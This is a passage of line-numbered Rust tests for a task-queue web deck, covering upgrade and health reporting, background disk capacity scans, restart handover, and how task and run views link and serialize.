25495        // upgrade that did not happen parks the run in flight and drops every
25496        // connection to pay for nothing. A probe against a deck already on the
25497        // newest build did exactly that, which is how this case got its own
25498        // branch.
25499        let res = fx.post("/api/upgrade", None).await;
25500        assert_eq!(res.status, 200, "not 202: nothing was set in motion");
25501        let body = res.json();
25502        assert!(body["to"].is_null(), "there was no release to move to");
25503        assert!(body["parked"].is_null(), "and nothing was parked");
25504        assert!(
25505            body["detail"]
25506                .as_str()
25507                .unwrap()
25508                .contains("nothing restarted"),
25509            "{body:?}"
25510        );
25511    }
25512
25513    async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
25514        tokio::time::timeout(Duration::from_secs(5), async {
25515            while state.lock().unwrap().in_flight {
25516                tokio::task::yield_now().await;
25517            }
25518        })
25519        .await
25520        .expect("capacity scan finished");
25521    }
25522
25523    fn disk_test_scope(home: &FsPath) -> DiskScope {
25524        DiskScope {
25525            runs: home.join("runs"),
25526            worktrees: home.join("worktrees"),
25527            cache: Some(home.join("cache")),
25528        }
25529    }
25530
25531    fn known_disk_capacity() -> DiskCapacity {
25532        DiskCapacity {
25533            free_bytes: Some(100),
25534            runs_bytes: Some(200),
25535            worktrees_bytes: Some(300),
25536            cache_bytes: Some(400),
25537        }
25538    }
25539
25540    #[tokio::test]
25541    async fn health_disk_cold_and_concurrent_requests_do_not_wait_for_capacity() {
25542        let home = TempDir::new().unwrap();
25543        std::fs::write(home.path().join("magi.toml"), "[update]\nmode = \"off\"\n").unwrap();
25544        let mut ui = delta_test_ui(home.path());
25545        let state = Arc::get_mut(&mut ui).unwrap();
25546        state.repo = home.path().to_owned();
25547        state.worktrees_root = home.path().join("worktrees");
25548        *ui.monitor.latest.lock().unwrap() = Some(((0, 0, 0, 0, 0, 0), Default::default()));
25549        ui.monitor
25550            .worker_started
25551            .store(true, std::sync::atomic::Ordering::SeqCst);
25552        let cfg = deputy_config(&ui.repo);
25553        let scope = DiskScope::of(&ui, cfg.as_ref());
25554        let (started, reached) = tokio::sync::oneshot::channel();
25555        let (release, blocked) = std::sync::mpsc::channel();
25556        let cold = DiskObservation::observe(&ui.monitor.disk, scope, move |_| {
25557            started.send(()).unwrap();
25558            // A failed request assertion must also let the blocking worker exit.
25559            let _ = blocked.recv();
25560            known_disk_capacity()
25561        });
25562        assert!(cold.runs_bytes.is_none());
25563        tokio::time::timeout(Duration::from_secs(5), reached)
25564            .await
25565            .unwrap()
25566            .unwrap();
25567
25568        let requests: Vec<_> = (0..4)
25569            .map(|_| {
25570                let ui = ui.clone();
25571                tokio::spawn(async move { health(State(ui)).await.unwrap().0 })
25572            })
25573            .collect();
25574        // This is a causal independence check, not a five-second latency
25575        // benchmark. Leave room for unrelated filesystem/thread contention
25576        // when the entire unit suite runs concurrently.
25577        let completed = tokio::time::timeout(Duration::from_secs(60), async {
25578            for request in requests {
25579                let view = request.await.unwrap();
25580                let disk = serde_json::to_value(view.disk).unwrap();
25581                assert!(disk["runs_bytes"].is_null());
25582                assert!(disk["worktrees_bytes"].is_null());
25583                // Free space is a cheap live observation even while the
25584                // recursive capacity measurement remains blocked.
25585                assert!(disk["free_bytes"].is_u64());
25586            }
25587        })
25588        .await;
25589        if completed.is_err() {
25590            release.send(()).unwrap();
25591            wait_for_disk_scan(&ui.monitor.disk).await;
25592            panic!("health must return while the measurement is causally blocked");
25593        }
25594        assert!(ui.monitor.disk.lock().unwrap().in_flight);
25595        // No competing worker can have published while the first holds flight.
25596        assert!(
25597            ui.monitor
25598                .disk
25599                .lock()
25600                .unwrap()
25601                .capacity
25602                .runs_bytes
25603                .is_none()
25604        );
25605        release.send(()).unwrap();
25606        wait_for_disk_scan(&ui.monitor.disk).await;
25607        assert_eq!(
25608            ui.monitor.disk.lock().unwrap().capacity.runs_bytes,
25609            Some(200)
25610        );
25611    }
25612
25613    #[tokio::test]
25614    async fn health_disk_refresh_retains_successes_and_cadence_starts_at_completion() {
25615        let home = TempDir::new().unwrap();
25616        let scope = disk_test_scope(home.path());
25617        let state = Arc::new(Mutex::new(DiskObservation {
25618            scope: Some(scope.clone()),
25619            capacity: known_disk_capacity(),
25620            finished: Some(std::time::Instant::now() - DISK_REFRESH * 2),
25621            ..Default::default()
25622        }));
25623        let (started, reached) = tokio::sync::oneshot::channel();
25624        let (release, blocked) = std::sync::mpsc::channel();
25625        let before = DiskObservation::observe(&state, scope.clone(), move |_| {
25626            started.send(()).unwrap();
25627            blocked.recv().unwrap();
25628            DiskCapacity {
25629                runs_bytes: Some(250),
25630                ..Default::default()
25631            }
25632        });
25633        assert_eq!(before.cache_bytes, Some(400));
25634        tokio::time::timeout(Duration::from_secs(5), reached)
25635            .await
25636            .unwrap()
25637            .unwrap();
25638        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
25639        for _ in 0..4 {
25640            let scans = duplicate_scans.clone();
25641            let during = DiskObservation::observe(&state, scope.clone(), move |_| {
25642                scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
25643                DiskCapacity::default()
25644            });
25645            assert_eq!(during.runs_bytes, Some(200));
25646            assert_eq!(during.cache_bytes, Some(400));
25647        }
25648        release.send(()).unwrap();
25649        wait_for_disk_scan(&state).await;
25650        let scans = duplicate_scans.clone();
25651        let after = DiskObservation::observe(&state, scope, move |_| {
25652            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
25653            DiskCapacity::default()
25654        });
25655        wait_for_disk_scan(&state).await;
25656        assert_eq!(after.runs_bytes, Some(250));
25657        assert_eq!(after.free_bytes, Some(100));
25658        assert_eq!(after.cache_bytes, Some(400));
25659        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
25660        assert!(state.lock().unwrap().finished.unwrap().elapsed() < DISK_REFRESH);
25661    }
25662
25663    #[tokio::test]
25664    async fn health_disk_changed_scope_never_publishes_the_previous_cache() {
25665        let home = TempDir::new().unwrap();
25666        let old_scope = disk_test_scope(home.path());
25667        let mut new_scope = old_scope.clone();
25668        new_scope.cache = Some(home.path().join("replacement-cache"));
25669        let state = Arc::new(Mutex::new(DiskObservation {
25670            scope: Some(old_scope.clone()),
25671            capacity: known_disk_capacity(),
25672            ..Default::default()
25673        }));
25674        let (started, reached) = tokio::sync::oneshot::channel();
25675        let (release, blocked) = std::sync::mpsc::channel();
25676        DiskObservation::observe(&state, old_scope, move |_| {
25677            started.send(()).unwrap();
25678            blocked.recv().unwrap();
25679            known_disk_capacity()
25680        });
25681        tokio::time::timeout(Duration::from_secs(5), reached)
25682            .await
25683            .unwrap()
25684            .unwrap();
25685        let duplicate_scans = Arc::new(std::sync::atomic::AtomicUsize::new(0));
25686        let scans = duplicate_scans.clone();
25687        let changed = DiskObservation::observe(&state, new_scope.clone(), move |_| {
25688            scans.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
25689            DiskCapacity::default()
25690        });
25691        assert!(changed.cache_bytes.is_none());
25692        assert!(changed.runs_bytes.is_none());
25693        release.send(()).unwrap();
25694        wait_for_disk_scan(&state).await;
25695        {
25696            let observation = state.lock().unwrap();
25697            assert!(observation.capacity.cache_bytes.is_none());
25698            assert!(observation.finished.is_none());
25699        }
25700        DiskObservation::observe(&state, new_scope.clone(), move |scope| {
25701            assert_eq!(scope, &new_scope);
25702            DiskCapacity {
25703                cache_bytes: Some(999),
25704                ..Default::default()
25705            }
25706        });
25707        wait_for_disk_scan(&state).await;
25708        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(999));
25709        assert_eq!(duplicate_scans.load(std::sync::atomic::Ordering::SeqCst), 0);
25710    }
25711
25712    #[tokio::test]
25713    async fn health_disk_panicked_worker_releases_flight_and_retries_after_cadence() {
25714        let home = TempDir::new().unwrap();
25715        let scope = disk_test_scope(home.path());
25716        let state = Arc::new(Mutex::new(DiskObservation {
25717            scope: Some(scope.clone()),
25718            capacity: known_disk_capacity(),
25719            ..Default::default()
25720        }));
25721        DiskObservation::observe(&state, scope.clone(), |_| panic!("capacity worker failure"));
25722        wait_for_disk_scan(&state).await;
25723        {
25724            let mut observation = state.lock().unwrap();
25725            assert_eq!(observation.capacity.cache_bytes, Some(400));
25726            assert!(observation.finished.unwrap().elapsed() < DISK_REFRESH);
25727            observation.finished = Some(std::time::Instant::now() - DISK_REFRESH);
25728        }
25729        DiskObservation::observe(&state, scope, |_| DiskCapacity {
25730            cache_bytes: Some(450),
25731            ..Default::default()
25732        });
25733        wait_for_disk_scan(&state).await;
25734        assert_eq!(state.lock().unwrap().capacity.cache_bytes, Some(450));
25735    }
25736
25737    #[test]
25738    fn health_disk_capacity_counts_empty_and_missing_without_following_links() {
25739        let home = TempDir::new().unwrap();
25740        assert_eq!(disk_capacity_size(&home.path().join("missing")), Some(0));
25741        assert_eq!(disk_capacity_size(home.path()), Some(0));
25742        std::fs::create_dir(home.path().join("nested")).unwrap();
25743        std::fs::write(home.path().join("nested/data"), b"12345").unwrap();
25744        assert_eq!(disk_capacity_size(home.path()), Some(5));
25745        #[cfg(unix)]
25746        {
25747            // Unix distinguishes an invalid descendant lookup from absence.
25748            assert_eq!(
25749                disk_capacity_size(&home.path().join("nested/data/child")),
25750                None
25751            );
25752        }
25753        #[cfg(unix)]
25754        {
25755            std::os::unix::fs::symlink(home.path(), home.path().join("nested/link")).unwrap();
25756            assert_eq!(disk_capacity_size(home.path()), Some(5));
25757        }
25758    }
25759
25760    #[tokio::test]
25761    async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
25762        // `mode = "off"` for the same reason as the test above: a default
25763        // fixture repo falls back to `mode = "notify"`, which would make this
25764        // route's new `update` field a live, unauthenticated GitHub call on
25765        // every assertion in this suite that happens to hit `/api/health`.
25766        let repo = TempDir::new().expect("repo dir");
25767        std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
25768            .expect("write magi.toml");
25769        let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
25770
25771        let health = fx.get("/api/health").await.json();
25772        assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
25773        assert_eq!(
25774            health["update"]["available"], false,
25775            "checking is off, which reads as \"unknown\", not \"none\""
25776        );
25777        assert!(health["update"]["to"].is_null());
25778        assert!(
25779            health["upgrade"].is_null(),
25780            "nothing has ever asked this deck to upgrade"
25781        );
25782    }
25783
25784    #[tokio::test]
25785    async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
25786        let fx = Fixture::start().await;
25787        write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
25788
25789        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25790        progress.parked_run = Some("20260905-000000-cd51".to_owned());
25791        progress.advance(crate::updater::Stage::Parking);
25792        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25793
25794        let health = fx.get("/api/health").await.json();
25795        assert_eq!(health["upgrade"]["stage"], "parking");
25796        assert_eq!(health["upgrade"]["from"], "0.5.1");
25797        assert_eq!(health["upgrade"]["to"], "0.5.2");
25798        let waiting_on = health["upgrade"]["waiting_on"]
25799            .as_str()
25800            .expect("waiting_on is set while parking a known run");
25801        assert!(waiting_on.contains("cd51"), "{waiting_on}");
25802        assert!(waiting_on.contains("implementing"), "{waiting_on}");
25803    }
25804
25805    #[tokio::test]
25806    async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
25807        let fx = Fixture::start().await;
25808        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25809        progress.advance(crate::updater::Stage::Done);
25810        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25811
25812        let health = fx.get("/api/health").await.json();
25813        assert_eq!(health["upgrade"]["stage"], "done");
25814        assert!(
25815            health["upgrade"]["waiting_on"].is_null(),
25816            "nothing to wait on once it is done"
25817        );
25818    }
25819
25820    /// The handover signal is seen however the race falls, and wakes its one
25821    /// waiter once per signal - nothing here can spin.
25822    #[tokio::test]
25823    async fn the_handover_signal_wakes_one_waiter_once() {
25824        let signal = Notify::new();
25825        // Signalled before anyone waits: the stored permit is not lost.
25826        signal.notify_one();
25827        tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
25828            .await
25829            .expect("an early signal is still seen");
25830        // One signal, one wake-up: a second wait does not resolve by itself.
25831        assert!(
25832            tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
25833                .await
25834                .is_err(),
25835            "a consumed signal must not wake a second time"
25836        );
25837        // Signalled while waiting.
25838        let signal = std::sync::Arc::new(signal);
25839        let waiter = tokio::spawn({
25840            let signal = std::sync::Arc::clone(&signal);
25841            async move { wait_for_handover(&signal).await }
25842        });
25843        tokio::time::sleep(Duration::from_millis(20)).await;
25844        assert!(!waiter.is_finished(), "nothing was signalled yet");
25845        signal.notify_one();
25846        tokio::time::timeout(Duration::from_secs(5), waiter)
25847            .await
25848            .expect("a late signal wakes the waiter")
25849            .expect("join");
25850    }
25851
25852    #[tokio::test]
25853    async fn health_says_how_long_a_handover_has_been_stuck() {
25854        let fx = Fixture::start().await;
25855        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25856        progress.advance(crate::updater::Stage::Replaced);
25857        progress.updated_at = Timestamp::now() - Duration::from_secs(600);
25858        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25859
25860        let health = fx.get("/api/health").await.json();
25861        let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
25862        assert!(stuck >= 600, "{stuck}");
25863        assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
25864        assert!(health["upgrade"]["waiting_on"].as_str().is_some());
25865    }
25866
25867    #[tokio::test]
25868    async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
25869        let home = tempfile::tempdir().expect("temp home");
25870        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25871        progress.advance(crate::updater::Stage::Parking);
25872        crate::updater::write_progress(home.path(), &progress).expect("seed");
25873        // What the second upgrade_and_restart and its handler do.
25874        let mut again = progress.clone();
25875        again.advance(crate::updater::Stage::Replaced);
25876        crate::updater::write_progress(home.path(), &again).expect("replaced");
25877        let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25878        crate::updater::write_progress(home.path(), &fresh).expect("downloading");
25879        let after = crate::updater::read_progress(home.path()).expect("record");
25880        assert_eq!(after.stage, crate::updater::Stage::Parking);
25881    }
25882
25883    #[tokio::test]
25884    async fn health_does_not_call_a_live_parking_wait_stuck() {
25885        let fx = Fixture::start().await;
25886        let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
25887        progress.parked_run = Some("20260905-000000-cd51".to_owned());
25888        progress.advance(crate::updater::Stage::Parking);
25889        let hours = Duration::from_secs(3 * 3600);
25890        progress.started_at = Timestamp::now() - hours;
25891        progress.updated_at = Timestamp::now() - hours;
25892        crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
25893        let _lease = crate::updater::LeaseGuard::enter(
25894            fx.home.path(),
25895            Some("20260905-000000-cd51".to_owned()),
25896        );
25897
25898        let health = fx.get("/api/health").await.json();
25899        assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
25900        assert!(health["upgrade"]["stuck_kind"].is_null());
25901        assert_eq!(health["upgrade"]["handover_alive"], true);
25902        let waiting_on = health["upgrade"]["waiting_on"]
25903            .as_str()
25904            .expect("waiting_on");
25905        assert!(waiting_on.contains("cd51"), "{waiting_on}");
25906    }
25907
25908    fn idle_ui(home: &TempDir) -> Ui {
25909        let runs = home.path().join("runs");
25910        std::fs::create_dir_all(&runs).expect("runs dir");
25911        Ui::new(
25912            Queue::at(home.path().join("queue")),
25913            Questions::at(home.path().join("questions")),
25914            Talks::at(home.path().join("talks")),
25915            runs,
25916            home.path().to_path_buf(),
25917            PathBuf::from("/repo/magi"),
25918        )
25919        .with_launch(launch_idle)
25920    }
25921
25922    #[tokio::test]
25923    async fn start_during_scheduler_stop_is_busy_and_preserves_the_stop() {
25924        let home = TempDir::new().expect("temp home");
25925        let ui = idle_ui(&home);
25926        let lease = crate::worker::try_lease(home.path(), "scheduler")
25927            .expect("scheduler lease")
25928            .expect("free");
25929        crate::worker::request(home.path(), "scheduler", crate::worker::Control::Stop)
25930            .expect("request stop");
25931        let error = ui
25932            .start_detached_loop()
25933            .await
25934            .expect_err("transition is still live");
25935        assert_eq!(error.status, StatusCode::CONFLICT);
25936        assert!(error.message.contains("still running or stopping"));
25937        assert_eq!(
25938            crate::worker::control(home.path(), "scheduler").unwrap(),
25939            Some(crate::worker::Control::Stop)
25940        );
25941        drop(lease);
25942    }
25943
25944    #[tokio::test]
25945    async fn handover_releases_listener_without_waiting_for_execution_leases() {
25946        let home = TempDir::new().expect("temp home");
25947        let ui = idle_ui(&home);
25948        let turns = ui
25949            .begin_talk_turn("active-chat")
25950            .expect("claim")
25951            .expect("free");
25952        let execution = crate::worker::try_lease(home.path(), "active-task")
25953            .expect("execution lease")
25954            .expect("free");
25955        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
25956            .await
25957            .expect("bind loopback");
25958        let address = listener.local_addr().expect("address");
25959        let admissions = Arc::clone(&ui.admissions);
25960        let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
25961        let successor_started = std::sync::atomic::AtomicBool::new(false);
25962        tokio::time::timeout(
25963            Duration::from_secs(2),
25964            hand_over(home.path(), &admissions, served, || {
25965                successor_started.store(true, std::sync::atomic::Ordering::SeqCst);
25966                Ok(1)
25967            }),
25968        )
25969        .await
25970        .expect("restart must not wait for execution")
25971        .expect("handover");
25972        assert!(successor_started.load(std::sync::atomic::Ordering::SeqCst));
25973        // BSD may retain the address briefly after listener release. The real
25974        // successor uses the same bounded bind retry rather than a one-shot bind.
25975        let successor = bind_waiting(address)
25976            .await
25977            .expect("successor binds released address");
25978        assert_eq!(successor.local_addr().unwrap(), address);
25979        assert!(turns.owns(), "the chat lease survives restart");
25980        assert!(
25981            crate::worker::try_lease(home.path(), "active-task")
25982                .unwrap()
25983                .is_none()
25984        );
25985        drop(execution);
25986        drop(turns);
25987    }
25988
25989    #[tokio::test]
25990    async fn handover_drains_admission_but_never_waits_for_the_chat_turn() {
25991        let home = TempDir::new().expect("temp home");
25992        let ui = idle_ui(&home);
25993        let admission = ui.begin_admission().expect("admit send");
25994        let turn = ui
25995            .begin_talk_turn("active-chat")
25996            .expect("claim")
25997            .expect("free");
25998        let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
25999            .await
26000            .expect("bind loopback");
26001        let address = listener.local_addr().expect("address");
26002        let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
26003        let successor_called = std::sync::atomic::AtomicBool::new(false);
26004        let handover = hand_over(home.path(), &ui.admissions, served, || {
26005            successor_called.store(true, std::sync::atomic::Ordering::SeqCst);
26006            Ok(1)
26007        });
26008        tokio::pin!(handover);
26009        // Poll exactly to the writer waiting on our admission guard. This
26010        // pins the race without sleeps or assumptions about task scheduling.
26011        std::future::poll_fn(|cx| {
26012            assert!(std::future::Future::poll(handover.as_mut(), cx).is_pending());
26013            std::task::Poll::Ready(())
26014        })
26015        .await;
26016        assert!(!successor_called.load(std::sync::atomic::Ordering::SeqCst));
26017        assert!(
26018            ui.begin_admission().is_err(),
26019            "new ingress cannot race the drain"
26020        );
26021        assert_eq!(request(address, "GET", "/api/loop", None).await.status, 200);
26022        drop(admission);
26023        tokio::time::timeout(Duration::from_secs(2), handover)
26024            .await
26025            .expect("only publication may delay restart")
26026            .expect("handover");
26027        assert!(successor_called.load(std::sync::atomic::Ordering::SeqCst));
26028        assert!(
26029            turn.owns(),
26030            "the detached chat turn is not awaited or cancelled"
26031        );
26032        assert!(
26033            ui.begin_admission().is_err(),
26034            "old accepted connections stay closed"
26035        );
26036        drop(turn);
26037    }
26038
26039    #[test]
26040    fn health_worker_metadata_never_contains_payload_or_result() {
26041        let view = WorkerView::from(crate::worker::Job {
26042            id: "job".into(),
26043            sequence: 1,
26044            kind: "service".into(),
26045            key: "maintenance".into(),
26046            payload: serde_json::json!({"env": {"TOKEN": "private"}}),
26047            generation: "generation".into(),
26048            version: Some("1.2.3".into()),
26049            status: crate::worker::Status::Running,
26050            result: Some("private diagnostics".into()),
26051            pid: Some(4242),
26052            created_at: 1,
26053            finished_at: None,
26054        });
26055        let value = serde_json::to_value(view).expect("serialize public metadata");
26056        assert_eq!(value["version"], "1.2.3");
26057        assert_eq!(value["pid"], 4242);
26058        assert!(value.get("payload").is_none());
26059        assert!(value.get("result").is_none());
26060        assert!(!value.to_string().contains("private"));
26061    }
26062
26063    #[test]
26064    fn upgraded_scheduler_remains_owned_by_a_replacement_web() {
26065        let home = TempDir::new().expect("temp home");
26066        let ui = idle_ui(&home);
26067        std::fs::write(
26068            home.path().join("daemon.json"),
26069            serde_json::json!({
26070                "schema": 2, "pid": 4242, "worker_protocol": 1,
26071                "updated_at": Timestamp::now().to_string(), "idle": true,
26072            })
26073            .to_string(),
26074        )
26075        .expect("status");
26076        let reading = daemon::read_status(home.path());
26077        assert!(Foreign::of(reading.as_ref()).is_none());
26078        let view = ui.runtime_loop_view(reading, &[]);
26079        assert!(view.running);
26080        assert!(view.owned);
26081    }
26082
26083    #[test]
26084    fn only_an_explicit_one_requests_a_resume() {
26085        assert!(!resume_requested(None));
26086        assert!(!resume_requested(Some("0".into())));
26087        assert!(!resume_requested(Some("".into())));
26088        assert!(resume_requested(Some("1".into())));
26089    }
26090
26091    #[test]
26092    fn an_error_is_visible_from_where_the_button_is() {
26093        // The alert used to sit in the flow under the header. On a phone
26094        // scrolled 13 500 px down to a run's action sheet that is off screen,
26095        // so tapping Resume and being told "the loop is running run b455
26096        // right now" looked exactly like a button that did nothing.
26097        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
26098            ..APP_CSS.find(".alert-text").expect(".alert-text")];
26099        assert!(
26100            alert.contains("position: fixed"),
26101            "an error about the thing under your thumb has to be visible from \
26102             where your thumb is: {alert}"
26103        );
26104        assert!(
26105            alert.contains("z-index: 25"),
26106            "above the dock (20) and the run-actions FAB (15), so neither \
26107             buries it: {alert}"
26108        );
26109        assert!(
26110            alert.contains("var(--tap)"),
26111            "and clear of the dock and the home indicator: {alert}"
26112        );
26113        // The FAB sits at the same height on the right. An error that covered
26114        // it would hide the button the operator reaches for next.
26115        assert!(
26116            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
26117            "the FAB's column stays free: {alert}"
26118        );
26119    }
26120
26121    #[tokio::test]
26122    async fn an_older_attempt_says_what_replaced_it() {
26123        let fx = Fixture::start().await;
26124        let q = fx.queue();
26125        let runs = fx.runs();
26126        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
26127        write_run(&runs, first, RunStatus::Stalled);
26128        write_run(&runs, second, RunStatus::Blocked);
26129
26130        let mut t = Task::new(
26131            "one task".to_owned(),
26132            "do it".to_owned(),
26133            PathBuf::from("/repo"),
26134            Source::Human,
26135        );
26136        t.runs = vec![first.to_owned(), second.to_owned()];
26137        q.put(&mut t).expect("put");
26138
26139        // Two cards with the same title and no hint which is which was the
26140        // question: "why are there two of the same, one stalled and one
26141        // blocked?" The older one now names its replacement.
26142        let rows = fx.get("/api/runs").await.json();
26143        let by = |short: &str| -> Value {
26144            rows.as_array()
26145                .unwrap()
26146                .iter()
26147                .find(|r| r["short"] == short)
26148                .cloned()
26149                .unwrap_or(Value::Null)
26150        };
26151        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
26152        assert!(
26153            by("bbbb")["superseded_by"].is_null(),
26154            "the latest attempt is not superseded by anything"
26155        );
26156        // Front end: the note has to be rendered, not just carried.
26157        assert!(APP_JS.contains("run.superseded_by"));
26158        assert!(APP_JS.contains("Superseded by"));
26159    }
26160
26161    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
26162        let mut t = Task::new(
26163            "one task".to_owned(),
26164            "do it".to_owned(),
26165            PathBuf::from("/repo"),
26166            Source::Human,
26167        );
26168        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
26169        t.status = status;
26170        t
26171    }
26172
26173    #[test]
26174    fn source_link_picks_the_page_that_filed_the_task() {
26175        let agent = |node: &str| Source::Agent {
26176            run: "20260904-014455-ab12".to_owned(),
26177            node: node.to_owned(),
26178        };
26179        let chat = source_link(&agent("chat")).expect("chat link");
26180        assert_eq!(chat.kind, "chat");
26181        assert_eq!(chat.id, "20260904-014455-ab12");
26182        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
26183        let run = source_link(&agent("implement")).expect("run link");
26184        assert_eq!(
26185            (run.kind, run.href.as_str()),
26186            ("run", "#/runs/20260904-014455-ab12")
26187        );
26188        assert_eq!(source_link(&Source::Human), None);
26189        assert_eq!(
26190            source_link(&Source::Issue {
26191                number: 3,
26192                repo: "o/r".to_owned()
26193            }),
26194            None
26195        );
26196        let odd = source_link(&Source::Agent {
26197            run: "a b/c".to_owned(),
26198            node: "chat".to_owned(),
26199        })
26200        .expect("link");
26201        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
26202    }
26203
26204    #[test]
26205    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
26206        assert!(
26207            !APP_JS.contains("src.node === \"chat\""),
26208            "inline href rule is back"
26209        );
26210        assert!(
26211            APP_JS.matches("sourceLinkOf(").count() >= 4,
26212            "helper must serve every page"
26213        );
26214        assert!(
26215            APP_JS.matches("openChatLink(").count() >= 3,
26216            "the run page still needs its explicit chat link"
26217        );
26218        assert!(
26219            !APP_JS.contains("const openChat = el("),
26220            "the Queue card duplicates its source label link again"
26221        );
26222        assert!(
26223            APP_JS.contains("metaKids.push(link ? el(\"a\""),
26224            "the task page must link a chat source label too"
26225        );
26226    }
26227
26228    #[test]
26229    fn task_ref_carries_the_source_link_for_a_chat_task() {
26230        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
26231        t.source = Source::Agent {
26232            run: "20260904-014455-ab12".to_owned(),
26233            node: "chat".to_owned(),
26234        };
26235        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
26236        let v = serde_json::to_value(&out).expect("json");
26237        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
26238        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
26239        assert_eq!(v["source_label"], t.source.label());
26240
26241        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
26242        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
26243            .expect("json");
26244        assert!(v["source_link"].is_null(), "{v}");
26245    }
26246
26247    #[test]
26248    fn task_view_serializes_source_link() {
26249        let mut t = Task::new(
26250            "t".to_owned(),
26251            "t".to_owned(),
26252            PathBuf::from("/repo"),
26253            Source::Agent {
26254                run: "20260901-000000-aaaa".to_owned(),
26255                node: "implement".to_owned(),
26256            },
26257        );
26258        t.runs.clear();
26259        let v = serde_json::to_value(TaskView::from(t)).expect("json");
26260        assert_eq!(v["source_link"]["kind"], "run", "{v}");
26261        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
26262    }
26263
26264    #[test]
26265    fn task_view_serializes_urgent_flag() {
26266        let mut t = Task::new(
26267            "t".to_owned(),
26268            "t".to_owned(),
26269            PathBuf::from("/repo"),
26270            Source::Human,
26271        );
26272        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
26273        assert_eq!(v["urgent"], false, "{v}");
26274        t.urgent = true;
26275        let v = serde_json::to_value(TaskView::from(t)).expect("json");
26276        assert_eq!(v["urgent"], true, "{v}");
26277        assert!(APP_JS.contains("task.urgent === true"));
26278    }
26279
26280    #[test]
26281    fn task_view_serializes_immediate_flag_and_ui_hooks() {
26282        let mut t = Task::new(
26283            "t".to_owned(),
26284            "t".to_owned(),
26285            PathBuf::from("/repo"),
26286            Source::Human,
26287        );
26288        let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
26289        assert_eq!(v["immediate"], false, "{v}");
26290        t.immediate = true;
26291        let v = serde_json::to_value(TaskView::from(t)).expect("json");
26292        assert_eq!(v["immediate"], true, "{v}");
26293        assert!(APP_JS.contains("task.immediate === true"));
26294        assert!(APP_JS.contains("/immediate"));
26295    }
26296
26297    #[tokio::test]
26298    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
26299        let fx = Fixture::start().await;
26300        let runs = fx.runs();
26301        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
26302        write_run(&runs, old, RunStatus::Blocked);
26303        write_run(&runs, new, RunStatus::Merged);
26304        let mut t = outcome_task(&[old, new], TaskStatus::Done);
26305        fx.queue().put(&mut t).expect("put");
26306
26307        let view = fx.get(&format!("/api/runs/{old}")).await.json();
26308        let task = &view["task"];
26309        assert_eq!(task["status"], "done");
26310        assert_eq!(task["is_latest"], false);
26311        assert_eq!(task["latest"]["short"], "bbbb");
26312        assert_eq!(task["finished_by"]["id"], new);
26313        assert_eq!(task["finished_by"]["outcome"], "merged");
26314        assert_eq!(task["closed_by_hand"], false);
26315        assert_eq!(view["status"], "blocked", "the run keeps its own status");
26316        assert!(APP_JS.contains("finished_by"));
26317        assert!(APP_JS.contains("superseded by run"));
26318    }
26319
26320    #[tokio::test]
26321    async fn the_latest_run_reports_a_held_task_without_a_successor() {
26322        let fx = Fixture::start().await;
26323        let runs = fx.runs();
26324        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
26325        write_run(&runs, old, RunStatus::Stalled);
26326        write_run(&runs, new, RunStatus::Blocked);
26327        let mut t = outcome_task(&[old, new], TaskStatus::Held);
26328        fx.queue().put(&mut t).expect("put");
26329
